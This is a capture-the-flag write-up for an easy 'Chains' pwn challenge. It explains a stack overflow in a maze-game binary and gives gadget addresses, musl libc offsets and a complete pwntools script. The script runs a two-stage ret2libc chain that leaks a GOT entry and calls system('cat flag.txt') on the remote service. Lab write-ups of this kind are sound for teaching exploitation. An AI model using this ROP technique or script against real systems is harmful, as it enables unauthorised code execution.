Chains
Chains
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: bss_command_staging, got_address_leak, remote_libc_fingerprinting, two_stage_ret2libc
Summary
Task: a stripped non-PIE ELF64 maze game asks for a name, but the real bug is an early stack overflow before the maze matters. Solution: leak __libc_start_main with write@plt, identify musl from the remote leak, read 'cat flag.txt' into .bss, and call system() with a second-stage ROP chain.
Chains — hackerlab
Description
Original title: Цепи
В этой игре столько различных цепочек решений. Да и не только цепей решений. Флаг точно в файле flag.txt :)
The service presents an ASCII maze and says Get $ and you win, which strongly suggests a gameplay challenge. In practice, the maze is a distraction: the binary contains a trivial stack overflow in the initial name prompt, and the flag is only reachable by exploiting the process and reading flag.txt.
Analysis
Binary overview
- File:
maze.elf - Architecture: ELF64, stripped, dynamically linked
- Remote:
62.173.140.174:27400 - Protections: Partial RELRO, NX enabled, no canary, no PIE
The important property is the lack of PIE and stack canary. That makes the binary immediately suitable for a classic ROP exploit.
Vulnerability
The vulnerable input happens before the maze interaction matters. The name-reading function allocates only 0x10 bytes on the stack and then performs:
c read-only • copy allowedread(0, buf, 0x100);
So we get a direct stack overflow. The exact offset to saved RIP is 0x18, which was enough to fully control execution.
Useful gadgets and targets:
text read-only • copy allowedpop rdi ; ret = 0x40128a pop rsi ; ret = 0x4014ad pop rdx ; ret = 0x4014af ret = 0x401016 puts@plt = 0x401030 write@plt = 0x401040 read@plt = 0x401080 main = 0x401561 __libc_start_main@got = 0x403fd8 puts@got = 0x404000 write@got = 0x404008 read@got = 0x404028 .bss writable = 0x404a80
Why the maze is irrelevant
Reaching $ in the maze only prints a success message and does not reveal the flag. That means the intended-looking in-game objective is a red herring or at least a secondary path. Since the overflow is reachable immediately at the first prompt, exploitation is strictly simpler than interacting with the maze logic.
Stage 1: leak libc
The first ROP chain uses write(1, __libc_start_main@got, 8) and then returns to main:
python read-only • copy allowedflat( b'A' * 0x18, POP_RDI, 1, POP_RSI, LIBC_START_MAIN_GOT, POP_RDX, 8, WRITE, MAIN, )
This leaks the resolved libc address stored in the GOT. The remote service was not using the glibc offsets I would normally expect; the leak matched musl instead. The successful remote offsets were:
text read-only • copy allowed__libc_start_main = 0x1bab4 system = 0x41d6f
So the base and system() address are computed as:
python read-only • copy allowedbase = leak - 0x1bab4 system = base + 0x41d6f
Stage 2: stage command in .bss and call system
After returning to main, the program asks for the name again. The second chain does two things:
read(0, .bss, len("cat flag.txt\x00"))- call
system(.bss)
The payload also includes a single ret for stack alignment before the final call.
This is enough because the challenge hint already tells us the flag is in flag.txt, and the remote process accepts a straightforward shell command.
Solution
- Connect to the remote service.
- Ignore the maze and overflow the first name prompt.
- Use
write@pltto leak__libc_start_main@got. - Return to
mainto get a second clean input. - Identify the remote libc layout as musl from the successful leak offsets.
- Compute
systemfrom the leaked__libc_start_mainaddress. - Use a second ROP chain to read
cat flag.txt\x00into.bss. - Call
system(.bss). - Receive the flag from standard output.
Working exploit:
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST, PORT = '62.173.140.174', 27400 OFFSET = 0x18 POP_RDI = 0x40128a POP_RSI = 0x4014ad POP_RDX = 0x4014af RET = 0x401016 WRITE = 0x401040 READ = 0x401080 MAIN = 0x401561 LIBC_START_MAIN_GOT = 0x403fd8 BSS = 0x404a80 LIBC_START_MAIN_OFF = 0x1bab4 SYSTEM_OFF = 0x41d6f io = remote(HOST, PORT) # stage 1: leak libc io.recvuntil(b'Enter your name: ') p1 = flat( b'A' * OFFSET, POP_RDI, 1, POP_RSI, LIBC_START_MAIN_GOT, POP_RDX, 8, WRITE, MAIN, ) io.send(p1 + b'\n') io.recvuntil(b'Thank you!\n') leak = u64(io.recvn(8)) base = leak - LIBC_START_MAIN_OFF system = base + SYSTEM_OFF print('leak', hex(leak), 'base', hex(base), 'system', hex(system)) # sync to next prompt io.recvuntil(b'Enter your name: ') cmd = b'cat flag.txt\x00' p2 = flat( b'B' * OFFSET, POP_RDI, 0, POP_RSI, BSS, POP_RDX, len(cmd), READ, RET, POP_RDI, BSS, system, ) io.send(p2 + b'\n') io.recvuntil(b'Thank you!\n') io.send(cmd) out = io.recvrepeat(3) print(repr(out)) print(out.decode('latin-1', 'replace')) io.close()
Observed successful output:
text read-only • copy allowedleak 0x7fb2388dfab4 base 0x7fb2388c4000 system 0x7fb238905d6f CODEBY{REDACTED}
One important accuracy note: the exploit path was confirmed directly against the remote target. I did not fully validate it first inside a Linux-compatible local runtime matching the server environment.